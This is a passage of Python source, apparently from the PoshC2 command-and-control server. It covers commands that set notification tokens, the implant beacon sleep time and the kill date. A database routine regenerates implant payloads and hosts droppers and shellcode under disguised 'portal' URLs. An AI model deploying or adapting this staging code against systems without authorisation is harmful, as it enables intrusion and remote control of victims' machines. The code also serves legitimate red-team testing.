def do_set_pushover_applicationtoken(user, command): cmd = command.replace("set-pushover-applicationtoken ", "") cmd = cmd.replace("set-pushover-applicationtoken", "") update_item("Pushover_APIToken", "C2Server", cmd) print_good("Updated Pushover API Token: %s\r\n" % cmd) input("Press Enter to continue...") clear()
def do_set_slack_bottoken(user, command): cmd = command.replace("set-slack-bottoken ", "") cmd = cmd.replace("set-slack-bottoken", "") update_item("Slack_BotToken", "C2Server", cmd) print_good("Updated Slack Bot Token: %s\r\n" % cmd) input("Press Enter to continue...") clear()
def do_set_slack_channel(user, command): cmd = command.replace("set-slack-channel ", "") cmd = cmd.replace("set-slack-channel", "") update_item("Slack_Channel", "C2Server", cmd) print_good("Updated Slack Channel: %s\r\n" % cmd) input("Press Enter to continue...") clear()
def do_set_slack_userid(user, command): cmd = command.replace("set-slack-userid ", "") cmd = cmd.replace("set-slack-userid", "") update_item("Slack_UserID", "C2Server", cmd) print_good("Updated Slack User ID: %s\r\n" % cmd) input("Press Enter to continue...") clear()
def do_set_pushover_userkeys(user, command): cmd = command.replace("set-pushover-userkeys ", "") cmd = cmd.replace("set-pushover-userkeys", "") update_item("Pushover_APIUser", "C2Server", cmd) print_good("Updated Pushover User Token: (Restart C2 Server): %s\r\n" % cmd) input("Press Enter to continue...") clear()
def do_set_defaultbeacon(user, command): new_sleep = command.replace("set-defaultbeacon ", "") new_sleep = new_sleep.replace("set-defaultbeacon", "") if not validate_sleep_time(new_sleep): print_bad("Invalid sleep command, please specify a time such as 50s, 10m or 1h") else: update_item("DefaultSleep", "C2Server", new_sleep) print_good("Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % new_sleep) input("Press Enter to continue...") clear()
def do_set_killdate(user, command): new_killdate = command.replace("set-killdate ", "") new_killdate = new_killdate.replace("set-killdate", "").strip() if not validate_killdate(new_killdate): print_bad("Invalid killdate format, please specify a killdate in format yyyy-MM-dd") else: update_item("KillDate", "C2Server", new_killdate) print_good("Updated KillDate (Remember to generate new payloads and get new implants): %s\r\n" % new_killdate) input("Press Enter to continue...") clear()
def existingdb(db): print("Using existing %s database / project" % db.value + Colours.GREEN) database_connect() C2 = get_c2server_all() if ((C2.PayloadCommsHost == PayloadCommsHost) and (C2.DomainFrontHeader == DomainFrontHeader)): qstart = "%squickstart.txt" % (PoshProjectDirectory) if os.path.exists(qstart): with open(qstart, 'r') as f: print(f.read()) else: print("Error different IP so regenerating payloads") if os.path.exists("%spayloads_old" % PoshProjectDirectory): import shutil shutil.rmtree("%spayloads_old" % PoshProjectDirectory) os.rename("%spayloads" % PoshProjectDirectory, "%spayloads_old" % PoshProjectDirectory) os.makedirs("%spayloads" % PoshProjectDirectory) update_item("PayloadCommsHost", "C2Server", PayloadCommsHost) update_item("QuickCommand", "C2Server", QuickCommand) update_item("DomainFrontHeader", "C2Server", DomainFrontHeader) C2 = get_c2server_all() urlId = new_urldetails(f"updated_host-{datetime.strftime(datetime.now(timezone.utc), '%Y-%m-%d-%H:%M:%S')}", PayloadCommsHost, C2.DomainFrontHeader, "", "", "", "") newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, get_newimplanturl(), PayloadsDirectory, URLID=urlId) newPayload.CreateAll() newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt') # adding default hosted payloads QuickCommandURI = select_item("QuickCommand", "C2Server") insert_hosted_file("%ss/86/portal" % QuickCommandURI, "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes") insert_hosted_file("%ss/64/portal" % QuickCommandURI, "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes") insert_hosted_file("%sp/86/portal" % QuickCommandURI, "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes") insert_hosted_file("%sp/64/portal" % QuickCommandURI, "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes") insert_hosted_file("%s_ex86" % QuickCommandURI, "%sPosh_v4_dropper_x86.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes") insert_hosted_file("%s_ex64" % QuickCommandURI, "%sPosh_v4_dropper_x64.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes") insert_hosted_file("%s_bs" % QuickCommandURI, "%spayload.bat" % (PayloadsDirectory), "text/html", "No", "Yes") insert_hosted_file("%s_rp" % QuickCommandURI, "%spayload.txt" % (PayloadsDirectory), "text/html", "Yes", "Yes") insert_hosted_file("%s_rg" % QuickCommandURI, "%srg_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes") insert_hosted_file("%s_cs" % QuickCommandURI, "%scs_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes") insert_hosted_file("%s_py" % QuickCommandURI, "%saes.py" % (PayloadsDirectory), "text/html", "No", "Yes")
def do_turnon_notifications(user, command): update_item("EnableNotifications", "C2Server", "Yes") print_good("Turned on notifications on new implant") input("Press Enter to continue...") clear()